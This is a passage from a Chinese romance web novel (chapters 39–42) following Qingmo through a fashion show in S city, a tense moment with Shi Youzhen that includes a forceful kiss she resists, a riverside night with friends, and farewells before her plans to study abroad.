清茉回去路上给少衡打了个电话,说友臻哥也会一起,少衡挺意外,问着:“我哥?我哥去凑什么热闹,他是有别的会议在S市吗?我问问他。” 周二施友臻也没骚扰清茉,清茉照常上课,下课在图书馆写材料,看了好几遍手机,不确定是施友臻驯服游戏中的一环,还是人家真的忙,清茉也没主动联系,倒是章大秘周三一早把航班信息发了过来,也有六六跟丹尼的。 下午三人在机场碰面的时候,接待他们的是施友臻秘书团队中那位更年轻的小哥,之前见过的小夏秘书,清茉跟他打招呼,小夏秘书笑着说道:“林小姐好久不见,是这样,施总要晚一个小时到,您要和施总一起走,刚刚改完签,我先陪您朋友过去。” 清茉:“?”她查看航司软件,果然出了新的航班信息,清茉无语,六六望天,丹尼翻了个白眼,他们仨就先跟小夏秘书登机了。 清茉去登机口旁的小书店点了杯饮料,随手拿本地理杂志翻看,正看到有意思的地方,有人很没礼貌地把书从她手中抽走,清茉抬头,看着几天没见的施友臻。 施友臻还是矜贵精致的精英样子,清茉起身,施友臻去牵清茉的手,清茉躲开,施友臻直接抓过来很紧地攥在掌心,牵着往前走。 施友臻问她:“功课很忙?” 清茉:“忙不过施总您。” 施友臻噙了浅笑,拽了下清茉,让她跟自己走到并肩的位置上,说了句让清茉后知后觉压力爆棚的话:“感谢白忙执着还抽空陪我,我第一次带女伴出席场合。” 清茉倒也没带怕的,说着:“那还真是您的荣幸。”她掏出面膜,做了个仔细的护肤,见施友臻一直看着,就解释道:“落地就得上妆造吧,看我多敬业,先护理一下,皮肤状态好上妆好看,哥你别打扰我,我还要补个觉。” 到酒店,跟六六和丹尼住的楼层也不一样,套房里已经有团队在等候,清茉的高定是施友臻挑的银色礼服长裙,很端庄,确实适合陪在他身边的位置和身份,化妆师清茉瞧着眼熟,问了句确实是在网上非常火的一位,清茉笑着打招呼,对方很恭敬地说:“您客气。” 章大秘昨天就提前到了,亲自安排对接大小事务,施友臻的行程比预期要延长一天,回程估计要周四下午,清茉还在上妆,施友臻调整着腕表,走到旁边,问清茉:“周四的课,可以取消吗?陪我多待一天。” 身边的人很多,化妆师团队,品牌方服装团队,章大秘,小夏,清茉抬眼从镜子中可以看到所有人,想了想,说着:“杨教授只上到这周五,年前就两节课了,本来上午课挪到下午就给她添麻烦了,我不想请假。” 施友臻应该是很少有妥协的时候,坚持道:“可以年后多上一节。” 清茉拒绝,她估计年后不一样能去上课了,杨教授教的太好,损失一节课都非常可惜,她坚持:“不要,你忙你的,我回去上课。” 一时间大家的动作都轻了似的,章大秘没吭声,施友臻看着化妆师给清茉定妆,还是妥协道:“好。” 是不是大家都习惯了他的说一不二。 开场前还有个社交场合,施友臻带着清茉出现的时候,果然博得了一众注目礼,少衡笑着迎上来,说着:“茉茉,太美了吧,说好当我的女伴,怎么被我哥截胡了!不过他除了你也没有能抓现成了的。” 少衡身边是个年轻可爱的女孩,有点紧张地跟施友臻问好,也跟清茉打招呼。施友臻带着清茉又去跟几位长辈打招呼问好,突然停住脚步,对清茉说着:“你该挎着我的胳膊。” 清茉失笑,过去挎上,问着:“不怕拍照出绯闻啊,搞不好会上报。” 施友臻反问:“你介意?” 清茉:“我无所谓,怕您失节。” 转场的时候施友臻问清茉:“怎么注意力不集中的样子?不习惯这种场合?” 也没什么不习惯,小时候跟着长辈们经常参加,入职也张罗过几次大型社交场合,清茉自己也发现,好像从上周末开始,哪怕是跟六六在山里,也经常走神,干什么都心绪不高的样子,六六也问她看着心里有事儿似的。 清茉抱歉道:“哥,在担心一些留学的事情,还没去就开始文化冲突焦虑了。” 施友臻倒是没想到清茉来这么一句,安慰似的揽了清茉肩膀,说着:“还有大半年,会一切就绪的。”但是施友臻一顿,他意识到清茉其实没有必要继续留学修学位,她的真实履历是很优秀的硕士学历,施友臻觉得这戏中戏挺容易让人分不清真假,就又问了句: “确定想去留学?不是我逼的?” 清茉点头:“嗯,当然,谢谢哥给的建议,您是我人生贵人。” 施友臻:“……” 晚上的大秀在S市最繁荣的金融街地标建筑大厦中,六六跟丹尼已经提前入场,他俩结识了好几位聊得来的设计师,聊得很嗨,也顾不上清茉,毕竟清茉要坐在施友臻身旁。非常光怪陆离的一场秀,清茉有点期待毒舌的六六跟丹尼怎么评价,待会回酒店去找他俩八卦绝对有爆炸性话题。 少衡坐在清茉另一侧,时不时凑过脑袋,说着:“茉茉,这个适合你,我给你买。” 清茉被逗乐,已经感谢上了。 散场后施友臻还有交际场合,清茉的裙子稍微有点紧,她起身跟施友臻小声说着:“哥,我去外面看一眼夜景透透气,走的时候喊我。” 施友臻由着她去了,但是点了少衡陪着,少衡哄着还想跟他腻歪的小女伴,让她自己找人玩,然后起身陪清茉出去走走。 南方的冬天温和一些,S市的冬天适合穿各种漂亮的大衣,披上衣服出秀场,穿过酒店后花园就是海边的步行道,江上明月高悬,对岸是灯光繁华的高楼大厦,清茉在前面走着,少衡跟在后面,问着:“茉茉,高跟鞋累不累?” 清茉回头看他,问着:“鞋子也是你哥挑的,眼光不错对吗?美丽值得,不累,难不成你要脱皮鞋给我穿?” 少衡乐:“你想穿我就脱。” 清茉趴在河堤护栏上看江景夜色,安静下来,少衡顿住脚步,在几米远的地方看着清茉。 好像跟以前的印象有点不一样,他记忆中的清茉应该是活泼俏皮的,就像今天晚上黏在他身边叽叽喳喳的小女生一样,而不是深夜望着江水心事重重的沉静样子。 清茉回头看少衡,笑着说道:“是不是应该背一首春江花月夜?江畔何人初见月,江月何年初照人。” 上次来S市出差,还是陪公司领导们谈项目,顺便参加了业务口的国际会展,去年的事情了,她全程负责后勤,忙得饭都没空坐下吃,就住在江对面的一栋酒店里,现在能看到那栋楼。忙归忙,心情很不错,行程也充实,会展上见到了很多科技前沿的产品,她还拍下来跟晓杨即时分享,会场送的纪念品也很有创意,有个悬浮摆件她放在办公桌上了,离职的时候没有带走。 好像比陪在男人身边看一场浮夸的大秀更好玩。 冬夜江边寒冷,清茉大衣里面只是单薄礼服裙,少衡过去问着:“不冷吗?回去吧。” 清茉点头,但是没有要走的意思,还是瞧着流动的江水发呆,少衡就不再催,也陪着清茉在那里看流水,但是扭头又看向有些陌生感的清茉,觉得她既不热闹也不快乐,话说三分坦荡全无,不像是他记忆里的玩伴茉茉了。 陌生感让少衡心中微动,想搭几句话,又无从说起,干脆也安静陪着一起看月下江水。 第40章 第四十章 少衡这些年找的女伴,多多少…… 少衡这些年找的女伴, 多多少少会有清茉的影子,要么长相有几分相似,要么性格像小时候的茉茉, 可爱、张扬、黏人,大抵都是这么个类型。想要重逢的念头在心中盘旋了那么多年,真的再见到, 开心确实是开心,可到底不是少年心境, 总觉得空落落, 甚至生出, 哦, 喜欢过的, 好像也就是这样的倦怠感。 就像今天他的女伴,一个挺可爱的小女生,陪过少衡一段时间, 少衡之前对她还挺有耐心, 但是今天突然就有种厌恶的感觉,觉得可爱是做作, 张扬是无知, 一个黏人的花瓶。少年时候的审美影响了少衡太多年, 在他如愿以偿重见清茉的那一刻,突然有种梦境直接被洞穿的失落感。 或者也是因为, 他从小比他哥优胜的地方, 乏善可陈,只有跟清茉两小无猜的感情,是他哥比不过的。清茉跟他像双生子一样的亲密无间,他哥身边没有这样的人。 他很在意。 施家二少爷的光环, 注定身边少不了莺莺燕燕,少衡成年后见惯了美人,妖冶的,明艳的,高冷的,他承认清茉还是很美,但是光是美好像也不足以生出再次沉沦的心魔,更多,还是把清茉当成单纯的少时玩伴,一个纪念时光和执念的符号标记。 这样想,也减轻了内心的负罪感,他对于自己一直没有主动去寻找清茉,有种难以抹掉的愧疚。 可以把年纪太小当成怯懦的借口,他在这么长的时间里,没有去关怀清茉过得怎么样,是不是需要帮助,他接受了清茉消失的事实,按照自己的轨迹快活成长,再见面,清茉说自己是模特,少衡觉得也正常,她确实可以靠容貌吃青春饭。 他刚开始迫切地想每天都约清茉见面,被清茉拒绝几次之后,也就没那么急切了,连同隐藏心底的那份愧疚,就突然都淡了。但是心里很空,像遗落了重要的宝藏,跟朋友们热闹的时候,带着女伴出来玩的时候,觉得心空。 直到现在看着凭栏凝望江水的清茉,隐约也顿悟了答案。 年少的时候,喜欢年少的清茉,成年之后,也会再次喜欢上成人的清茉。 他被一场年少时候断崖似的分离困住很多年,懵懂的少年爱意,来不及表达就已经消耗在了成年的过程中,他觉得可以轻轻放下的时候,又被当头一棒,看着江边的清茉,心坠了下去。 少衡兀自站在那里安静观察清茉,清茉大概也察觉他安静过了头,回头笑着问他:“想什么呢,突然不讲话了。” 少衡也走到栏杆前,反问她:“是你在发呆好吧,想什么呢?” 清茉望向江水,说着:“看风景啊,最繁华的一片夜景,亲眼看的震撼感还是比镜头里的强烈。” 少衡:“是吗?还好吧。茉茉,咱是走到不能交心的地步了吗?感觉咱俩没正经聊几句,以前你可是什么都跟我讲。” 清茉笑:“这不正常聊着嘛,你想听什么?给个方向?” 少衡:“你正经跟我说,有没有想我?或者过得怎么样?怨我没去找你吗?” 清茉:“有,挺好,没怨。” 少衡:“你看,就是敷衍。” 清茉笑,继续望着东去江水没再多说什么,户外待时间久了,还是很冷,清茉要回去,少衡伸出胳膊,说着:“你挽着我哥走,也得挽着我走。” 清茉:“幼稚。”但还是顺着他浅挎着臂弯往酒店里走,走到入门的地方,正好看到少衡带来的女伴在四处张望,清茉松开手,说着:“去吧,这位英气勃发的先生,对待女士记得要绅士一点。” 少衡瞧着空落落的臂弯,想说点什么,但是心里乱七八糟,看到清茉朝着自己的朋友们走过去,少衡闭了嘴。安排人把女伴送走,重新去走到清茉旁边,跟六六一起的男士很夸张地在评价今晚的品牌秀,听着很专业,但是没几句好话。 少衡跟他们打招呼,清茉好奇打趣道:“还以为你走了呢。” 少衡:“去上面喝一杯?” 顶层有个昂贵的酒吧,今晚应该也很热闹,是少衡习惯去的那种环境,他喜欢热热闹闹,也看惯了浮夸,潜意识里觉得清茉跟他该是双生子一样的同步率,他喜欢的,清茉也应该喜欢。 断崖似的岁月,停滞了他对清茉的认知。际遇天壤之别,怎么可能再一样。清茉不喜欢周六他约着见面的喧闹酒吧,不喜欢他的朋友们没有边界感但是优越感爆棚的浮夸调侃,现在也不想深夜再去顶楼折腾一晚,成为施家兄弟两人轮流的装饰,被很多很多乱七八糟的人行注目礼。 她准备跟六六和丹尼换好衣服后,穿上舒服的运动鞋,沿江走很远的木栈道,跟她的草根艺术家朋友们分享大秀的美学观点,去看下次不知道什么时候才能见到的海派繁华。 如果施友臻不强制打扰的话,万幸,他现在应该没空。 六六见清茉没答应,猜到几分,就客气婉拒道:“谢谢您,太晚了,明天六点多就得起床去机场,我们准备回房间休息了。” 丹尼上下扫视打量着施少衡,也客气婉拒,清茉朝少衡挥挥手,说着:“你快去招待朋友吧,回见啦。” 进电梯丹尼说着:“茉,你咋跟施家兄弟俩都很熟的样子?施总不好评价,施家二少爷可是很出名的花花公子,出了名的纨绔二代。” 六六白了丹尼一眼,撇嘴:“同行揭短吗?我看你这个二代也挺纨绔,那么有钱干嘛还占我便宜非得侵占我新店面空间啊!你自己去买个宽敞的不行吗?” 丹尼正色:“六老板,你客流量大啊!再好的艺术品,也需要观众!” 清茉先回她的房间,刚准备换礼服裙穿上便装跟六六他们出去散步,有人敲门,清茉过去打开,是施友臻。 贴身的银色长裙服帖地勾勒了女人的线条,施友臻进屋后很自然地去揽住了清茉的后腰,顺滑微凉的布料像夜晚倾洒的月光,吹了江边冷风,清茉的皮肤也沁了冬夜的凉,施友臻的手烫得像烧红的铁,从清茉后背滑倒腰间,同样炽热的吻也落下来。 清茉被他压在门板之上,施友臻好像会读心术,突然停下了动作,说着:“你没有喊停,就不是强迫,没必要这么紧绷。”他牵着清茉的手腕,让她双臂环住他的脖颈,然后继续握住清茉的腰,开始新的深吻。 一言不发上来就深吻的节奏,让清茉战栗,施友臻急重的呼吸太叫人慌张,在失控之前她推搡着施友臻胸口,但是在力气很大的男人看来,可能是趣味的一部分,清茉用力咬了施友臻的下唇,施友臻一顿,掐住清茉后颈,稳稳禁锢住,仍旧不停止。 “茉茉!好了吗!”门铃响起,很清晰听到了外面六六的声音,施友臻停顿,手劲松了些,清茉要逃脱,施友臻又掐住她的腰,掐得很紧,一点都挣脱不开,清茉声音发抖,央求道:“哥,你松手,疼,别这样,我害怕。” 施友臻明确得到了她的拒绝信号,倒是马上松开了手,清茉手发抖地去开门,门很重,第一下竟然没把门把手摁下去,施友臻目视着她的反应,不怎么愉悦地蹙了眉头,手掌按在清茉冷冰冰的手背上,打开了房间的房门。 门口的六六跟丹尼瞧见施友臻也在,愣住。 施友臻看六六他们一身外出打扮,问清茉:“要出去?” 清茉不敢看施友臻眼睛,目光不自觉躲闪开,说着:“嗯,出去散步,哥,你不忙吗?是不是还有场合,我就不打扰了,我们几个自己玩一玩,好久没来了,趁着夜景没有熄灯,去江边走走。” 施友臻总是拿捏着最佳的分寸,在清茉朋友面前,没说别的,只是嘱咐道:“戴好帽子围巾。”仿佛刚才野兽一样要把人撕裂吞噬的男人是另外一个人。 施友臻对六六和丹尼颔首,就离开了。丹尼进屋指了指清茉的嘴唇,说着:“亲花妆了哦。” 六六用胳膊肘捯他,骂道:“就你长嘴了!” 丹尼翻白眼:“是我浅陋了,以为咱们家茉茉要被施老二占便宜,结果人家吃的是真正的钻石单身人士施总,了不起。”说着还拿腔拿调用低沉音线模仿施友臻:“戴好帽子围巾。” 六六揍他,不过也仰天长叹:“搅和了别人的兴致,我现在好心虚啊茉茉,怎么办,你再把他约回来吧。” 被好友谈笑一搅和,清茉缓了过来,深呼吸道:“等我一下,我去换衣服。” 丹尼:“记得戴好帽子围巾哦~” 六六:“……怎么那么欠儿呢。” 三人到酒店大堂的时候,还有很多看完大秀的客人们聚在一起社交,出门口看到了施友臻,正在跟旁人握手,应该是送什么长辈,他抬眼看了清茉一眼,清茉顿住脚步,施友臻已经迈着长腿朝她走路过来。 六六跟丹尼自动后撤一步,施友臻像在北方城市的雪夜里重复过很多次的那样,给清茉整理了下围巾,然后嘱咐了句:“早点回来休息,明天要赶早班飞机。” 清茉乖乖点头,跟六六他们走出去一段距离后,六六“啧”了一声,抱着胳膊抖了抖,说着:“妈呀,施总竟然也是当众秀恩爱的人设,上次在老焦那里,我没觉得这么过分啊!” 丹尼嗤笑:“肤浅,这跟猫科动物撒尿宣誓主权一个理儿,宣誓所有权懂不懂。” 清茉:“……倒也不至于跟撒尿一样吧。” 丹尼:“哦,也是,亲过嘴儿也是带着味儿的。” 清茉:“好了,你闭嘴吧,不要再说了。”《 》 40-50 第41章 第四十一章 两岸建筑的繁华景观壁灯已…… 两岸建筑的繁华景观壁灯已经熄灭, 凌晨的江岸人烟稀少,偶尔有通宵的酒吧还在营业,从开开合合的大门中传出音乐歌声。他们仨要讨论的话题很多, 丹尼设计的新系列,六六装潢的新店面,还有清茉的新年留学。 辞旧迎新的年关, 适合一点一点抹除旧岁压在心田上的尘埃,适合展望, 也适合告别。 丹尼问清茉的星座, 听到后恍然点头, 说着:“你们星座爱恨一瞬间, 很可怕, 我说怎么突然就决定留学了,晓得了晓得了。” 六六也在一旁附和:“是啊,别人都是慢慢思考, 慢慢决定, 她可好,突然就通知我要留学, 还说可能不回来了, 要抛弃全世界的节奏啊。不是, 茉啊,那施总怎么办?他知道吗?” 清茉笑道:“老六啊, 那我问你, 你决定开新店,焦叔的意见会左右你吗?” 六六皱眉:“这哪儿跟哪儿啊,我跟他八字没一撇。” 清茉:“那我问你,就算有了两撇, 他想要左右你,你会顺从吗?” 六六好像听懂了,很认真地思考片刻,果断道:“那还是分了吧。” 丹尼:“好可怕的女人们。” 十二点整的时候,施友臻打来第一次电话,问清茉是否返回房间,清茉抬手拍了张江景给他,因为景观灯都已经熄灭,倒也有种冰冷的赛博朋克感,像后现代主义的光点和线条。 施友臻没有再问,他总是这样,给予一定自由度的同时,又将人牢牢掌控到他的schedule中。 凌晨一点的时候,施友臻再次拨来电话,清茉他们坐在一个临江小餐吧里点了暖和的热红酒,他们是最后一拨进店的客人,坐定后,听着歌手吟唱今晚最后一支晚安道别曲。 清茉接起施友臻的电话后,没有讲话,点了公放,让施友臻也听这个小店中的歌手吟唱。 中年歌手的声线醇厚,告别曲没有伤感,带着即将下班的欢乐,观众毫不吝啬地将友好的掌声送给他,小店就打烊送客了。老板站在店门口跟大家挥手告别,估计知道很多客人是旅游的过客,提前送上了一句新年快乐。 清茉起身拿起手机,施友臻不知道什么时候结束的通话,可能在唱完歌的时候,也可能并没有耐心听完一整首。 返程路上丹尼模仿刚才歌手大叔的声线在唱着乱七八糟的情歌,六六冲着江面大声喊了句:“想焦叔做的菜了!回去我要猛吃!”巡逻的安保人员,肩上闪着红红蓝蓝的灯光,路过的时候多看了他们几眼。 他俩疯癫没走多远,清茉就看到了迎面走来的男人。很意外,施友臻单独出来迎她的这种可能性,不在清茉的认知预料之内。 凌晨江边空气湿润,带着朦胧雾气,清茉很远就猜出他是谁,熟悉的人能够通过走路的姿势来辨认,他很高,暗压压的人影逆着光,确实是他,清茉顿住脚步。 吵闹的六六和丹尼看到来人也噤了声。 清茉迎上去,看施友臻还是晚上的那套正式着装,问着:“还没休息吗?怎么出来了,哥,刚才你一直在跟人聊事情吗?” 施友臻很自然地捞起清茉的手牵住,握着清茉的手一起往酒店走:“嗯,刚结束,不是说要做我女伴出席吗,你自己算算,今天晚上总共待在我身边几分钟。” 清茉就由着他牵了,笑道:“我读书少,您自己算吧。” 施友臻紧了紧手指,清茉吃痛投降:“您谈的事情都是商业机密,我什么身份我就去探听。我跟朋友一起散步消化晚上的美食,还有品牌大秀,谢谢哥给安排得这么妥当,见世面了,很喜欢,艺术家的想象力就是瑰宝。” 施友臻揉捏着清茉手指,女孩的手骨筋肉好像也是柔软的,他说着:“这个周末时间空出来,陪我去南方海岛度个假。” 如果再早些日子,清茉估计会答应,避开春节的人流,去热带海岛偷得两日闲,看看海岛风光,在海边踩着细软沙子捡贝壳,应该非常惬意。但是现在清茉觉得有好多事情没有做,周末她准备安静找个地方,把要发给申请高校教授的材料大纲顺出来,这需要高度集中的注意力。 除了材料,还有好多事情要安排,语言学习不能落下,本硕学业成绩等等材料全部要翻译一份英文,研究生时期发布的相关论文和研究方向也要翻译。朋友这边年前要跟晓杨见面,六六新店模特照拍摄也排上了日程,还另约了一个设计工作室要拍摄出片。 签证,英语认证等级考试,研究留学城市的语言班情况,新的研究课题思路,都需要很多时间和精力去完成。甚至要趁着教授们还没有完全离校,寻找合适的老师帮写推荐信。 清茉拒绝着:“不行哎,我周末安排了别的事情,我陪你吃饭好不好?” 施友臻不满,直白地可怕,说着:“要是担心发生关系大可不必,我没有强迫人的爱好。” 清茉:“……”她本来想左耳进右耳出当成没听到,侧脸瞧着施友臻仿佛正人君子的得意样子,清了清嗓子,说着:“强吻也不行。” 施友臻并不同意:“没有强吻,你很享受。” 清茉:“……”算了,危险话题还是揭过吧。 折腾一晚的兴奋劲儿,在凌晨安静的江畔慢慢淡去,清茉走得也有些累,倦倦地打个哈欠,不过脑子随口说着:“你要是能背我走回去,我就答应。” 这种幼稚离谱的请求,她押定施友臻不可能答应,施友臻有他铁板铮铮的规则和底线。清茉料定结果不会出乎意料,就继续自导自演接话说着:“不行吧,所以我就不去了,给过机会哦,哥你浪费了。” 可是今天晚上,施友臻迎着江水雾气和朦胧月色出来接她的时候,早就已经打破了那些旧时规则。 施友臻停下脚步,突然拦腰抱住清茉,把她放到膝盖高的绿化大树旁隔离石阶上,屈膝说着:“上来吧。” 清茉震惊,喊着:“我错了哥我错了还不行,君子有所谓有所不为,男儿膝下有黄金,别别别千万别,我开玩笑的,咱好好说,别动手。我错了哥!” 她惊讶要拒绝,施友臻已经握住了她的腿弯,清茉站不稳趴到施友臻后背上,施友臻顺势就把她背了起来,很轻松的样子。 一直在后面不远不近跟着并且小声嘀咕发表意见的六六跟丹尼: 六六:“……” 丹尼:“玩这么花?” 六六:“闻到什么味道了吗?” 丹尼:“嗯,恋爱的酸臭味。” 施友臻走得很稳,好像清茉的重量不值一提一样,清茉轻不可闻地叹口气,由着他背,踏实靠在施友臻肩上,清茉问着:“哥,以前是不是背过我?什么时候来着?我记不清了,好像也是冬天,快天黑的时候吗,我是不是在你背上睡着了啊?” 施友臻:“嗯。” 清茉:“你为什么背我来着?想不起来了。” 施友臻没有直接给出答案,只是说着:“那就再好好想。” 清茉想了想,就是想不起来。 她趴在施友臻后背上,安静的夜晚,安静的江水,一个很久之前就认识的人,又很多很多年不曾见过的人,没有承诺,没有示爱,但是会很亲密的拥抱,会贴在一起背着,会深吻。 她觉得人生际遇实在飘渺不可捉摸,她跟施友臻,在一个普通的日子相遇,也可能在一个普通的日子就分别了。 能有多少次久别重逢的幸运,并没有。 清茉问着:“真的特别想让我陪着去吗?” 施友臻好像很慎重思考了一下,沉默几秒后说着:“嗯。” 清茉:“那好吧,我就勉为其难地答应一下,是安静的私人行程吗?” 施友臻:“嗯,私人行程。” 清茉答应了,说着:“但是说好啊,我去也要正常学习,哥,你有年龄焦虑吗?我最近有点哎,你想,我出去念完书之后,又长了好几岁。” 施友臻并不觉得那份留学资助协议还有实际意义,就没有继续这个话题。 快到酒店的时候,清茉要下来,施友臻松开她,清茉站在地面活动了下双腿,施友臻又重新牵起她的手,往酒店走去。走到清茉房间门口,清茉拦住他,说着:“哥,你得答应个事情,亲之前要先询问女士的意见,征求同意之后,才可以。” 施友臻今天夜里很好说话的样子,不管是深夜外出迎她,还是屈膝背着她走了很长的江边木栈道,还是劝着清茉跟她一起去南边海岛度假,忽略掉前半夜暴风骤雨的深吻,他好像柔软得很陌生。 很不真实,柔软到清茉觉得有点难过。 在对未来毫无把控力的时候,没有定数的飘渺感情好像从来都是最容易舍弃的,她很想问一问施友臻到底为什么亲她,但是更理智的声音在敲着警钟,不要去问,不要去想,既然怎么样都会留下遗憾,就尽量离开地蹁跹飘逸一些,尽量轻柔地不起什么波澜。 第42章 第四十二章 施友臻是主导亲昵举动的一…… 施友臻是主导亲昵举动的一方, 肢体接触的时候,他想索取深吻的时候,都是按照他的节奏和意愿来引导清茉, 他小时候性格就强势,长大了被权力和财富滋养之后,更加放大。 此刻, 站在清茉房间门口,她忐忑地以为还要发生什么的时候, 施友臻只是说了句晚安, 就绅士地转身离开, 像玩心理战一样, 反倒是搞得清茉心里空落落, 瞧着离开的男人背影欲言又止。 好吧,也好,那就晚安吧。 清晨, 施友臻没有再出现, 小夏秘书安排好了早餐和送机车辆,沿着江景大道直奔了机场。丹尼和六六困得很, 据说是灵感爆发讨论了一晚上陈设创意, 清茉也很困, 心里有事儿,翻来覆去也睡不着。一路上三人各困三人的, 直到机场。 在登机口被施少衡堵住路的时候, 清茉行李箱撞到了他的鞋尖,她还困困懵懵低着头去绕路,说了声抱歉。被人拉住行李杆,清茉才抬眼, 看着少衡愣了一会,问着:“干嘛?” 少衡拉过清茉登机箱,说着:“什么态度?不应该惊喜吗?” 清茉问着:“是突然有急事要回去处理吗?不跟哥多待一天?” 少衡看她困得很,很自然地去牵着清茉的手,说着:“我干嘛非得跟他一个行程,他是施总,我又不是。好无聊,我陪你回去玩两天呗。” 清茉甩他的手,少衡犯浑似的紧紧攥着,清茉被他吵得困意全无,骂道:“纨绔滚远一点,我很忙的。” 少衡:“那我做你司机呗。” 清茉:“……” 她倒不信少衡是真的无聊到专程改航班来陪她,在座位上整理好东西就准备补觉,调飞行模式的时候看到六六进来一条信息,六六真诚发问:“施家的男人们是有见面就对你动手动脚的特权吗请问!他怎么跟你牵手那么自然?” 清茉回头看了眼六六,六六直接翻了个白眼。 落地后清茉要直接赶去学校,少衡竟然真的要开车送她,清茉拽着自己行李着急拒绝说着:“别添乱嘛,我着急赶个约,你实在闲的没事,找你六六姐,六六姐店面装修,你去抗水泥,抹墙。” 清茉怕堵车耽误上课时间,直接从机场乘坐了地铁,少衡在后面看着她活力满满地小跑着离开,盯着清茉的背影若有所思,没有死皮赖脸地追上去,回神问着六六:“六六姐,走吧,我送你回去,清茉说让我给你抗水泥抹腻子。” 六六:“……” 杨教授周五上午临时安排了学术会议不能给清茉上课,今天下午给清茉多上了一个小时课程,这样寒假前的语言课程就全部结束了,清茉非常感谢杨教授,送给杨教授看秀时候买的一条羊绒围巾,杨教授很喜欢,说着: “友臻嘱咐我你不提就不要问,不过清茉,你想来报考我这边的话,我非常欢迎,咱们国内的学术也不见得一定比国外差,一些学科还是很有优势的。” 清茉感谢:“谢谢杨教授,我主要是想换个环境。” 杨教授笑:“理解,也不着急嘛,你有喜欢的课题年后我们再一起讨论一下,毕竟要到下半年才决定的对吧,来得及。” 送给助教小姑娘一对设计师品牌的珐琅耳环,助教也感慨道:“清茉姐,你都是我们学校论坛的风云人物了,留下至少两座论坛高楼,上次演出很轰动,都在猜您是哪个学院的,要是真的来我们学校深造,绝对风云人物。” 清茉笑:“饶了我吧,赶紧联系管理员删楼,我可担不起。” 清茉原本想约杨教授晚上一起吃个饭,杨教授晚上还有个讲座,但是客气道:“改天我约友臻一起,请你们吃,你可得让友臻赏脸哦,约他一次可太难了。” 杨教授话里很多话,情商很高的老教授又什么都没点头,清茉了然笑着:“好,我转告他。” 在学校图书馆消化完今天的课程内容已经九点多,图书馆开始播放闭馆的音乐,晚上没什么胃口就没有吃饭,这会有点饿,去学校小商店买了个热玉米,溜达了几步走到礼堂旁边的小公园,紧挨着上次的那片松柏树林。 施友臻应该很忙,今天一天没有发来信息,也没有电话。清茉看了眼手机,屏幕摁亮了又灭,想着明天上午空出来的时间该怎么安排。 约晓杨吧,说好年前还要一起吃个饭,清茉想着中午过去公司那边,一起吃个午饭,不耽误晓杨太多时间,她年底工作应该非常忙。见一面吧,工作这么多年,职场上能算朋友的,也就晓杨一个,年前见了这面,以后再见还不知道什么时候。 清茉打电话跟晓杨约完,才后知后觉想着,自己这算是在跟朋友们告别了吧,虽然有必要正式告别的人,也没有几个。 上午清茉早到了一会,在金融购物商厦转了一圈,给晓杨挑了一个精致的项链,很适合晓杨惯有的职场风格,快到午饭时间的时候,清茉往订好的餐厅走,在想着会不会遇到之前的同事们,想着想着就遇到了匆匆而过的何副总。 雷厉风行惯了的何副总走得很匆忙,目不斜视,没有看到清茉。 晓杨很快过来,清茉跟她聊着提了一句刚才看到何副总了,晓杨一脸神神秘秘,压低声音说着:“何副总可能要跳槽了。” 来来往往也正常,跳一跳翻一番,清茉没在意,但是晓杨接着道:“以前觉得她挑刺难伺候,你知道她,口碑参差,就逼你离职那件事儿,公司里挺多人看不过眼的。不过她这次离职,咋说呢,也挺唏嘘。” “他老公出轨,外面年轻小三怀孕了,何副总坚持不离婚,小三竟然找到咱们公司闹,你敢信,什么世道,小三挺着大肚子闹到公司让威胁正室赶紧让位,而且来了不止一次。” 晓杨叹了口气,说着:“何副总争强好胜,工作能力也不算差,本来是可以竞争一个总经理的职位,怎么说呢,本来女性想在职场上被公平对待就不容易,这样一闹一折腾,何副总被踢出去竞争队伍了。” 晓杨瞧着清茉,又道:“她平时爱搞些小圈子站队,圈子里的人都不见得关键时候维护她,圈子外的人更看热闹了。” 这跟清茉的预期很不一样,清茉听了之后心里也没什么大仇得报的爽感,问着:“干嘛不离婚,留着过年?何副总年薪不低吧,都闹成这样不离婚?” 晓杨摇摇头道:“谁知道呢,听他们背后八卦,何副总跟她老公是读书时候就在一起的青梅竹马,何副总对她老公还有感情?咱哪知道,就挺唏嘘,何副总也四十多岁了,摊上这事儿,家里还两个孩子呢,一个上小学,一个刚上中学,顾虑很多吧,听意思是何副总赚的多,财产一分割,不正好便宜了男的跟小三。” 晓杨说着:“反正是准备跳槽走人了。不说她了,只能说同为女人,觉得也怪可怜,可怜之人必有可恨之处,可恨之人也有可怜之处。对了茉茉,我准备春节年假回来就正式离职了,公司我还是先保密,不过,有个事儿我想征求你同意。” 清茉问着:“这么正式,什么事儿?” 晓杨一本正经说着:“你离职的时候,我一声没吭,也没帮你讲几句话,说实话,心里挺过意不去,算是心结了,我跳槽要去的公司,实力绝对厉害,我过去主管人事,到时候,我把你简历递给领导层,也再帮你在网上相关企业发一发,有合适的话,咱们继续做同事?” 清茉:“看你需要啊,要是需要考核业绩,我帮你充个面试的人头。三月底前应该行,之后我可能出国。” 晓杨:“去玩吗?好羡慕,我也想旅行。” 清茉:“也算吧,出去换个环境,走走转转。” 俩人换了话题,清茉给晓杨看昨天在S市秀场拍的照片,晓杨羡慕坏了,让清茉下次一定要带上她,清茉答应着,晓杨瞧着品牌新装,还说着:“我还准备去买点,入职的新公司听说逼格很高,我要么得全身高奢,要么得走小众设计师。” 清茉就给晓杨推荐了六六的店,说着:“你想要什么风格让老板给淘,她很会搭配,报我名字给你折扣。” 晓杨乐:“好嘞,那你现在就打电话,跟老板说好。” 清茉笑着拨给六六,结果六六一接电话就哀嚎道:“茉茉?咱俩心有灵犀一点通哎,你怎么知道我要给你电话,祖宗啊,你怎么派了个老祖来给我帮工?我店里刚开门,施二爷就堵我门口了,说要帮我扛水泥。” 清茉一愣,也无语,说着:“哦,那我待会过去,六六,我前同事晓杨年后有购置需求,你跟她约个时间帮忙参谋着找找品牌搭配一个呗,走我友情价好不好?” 六六乐:“哟,祖宗你还跟我客气上了,来吧来吧,联系方式发给我。” 清茉又委托了几句,晓杨听她们聊天,羡慕道:“茉茉,你朋友都好有趣,我算不算很无趣的?” 清茉笑:“怎么会,你是最踏实靠谱的。” 午餐时间马上结束,晓杨谢谢清茉的礼物,俩人在门口分别的时候,清茉突然说着:“拥抱一个呗,好多年一个战壕的朋友。” 晓杨给了清茉很用力的拥抱,说着:“那就,新年快乐,下周我提前几天休年假,再回来估计年后了,新年快乐茉茉,年后再约。” 清茉:“嗯,新年快乐。” 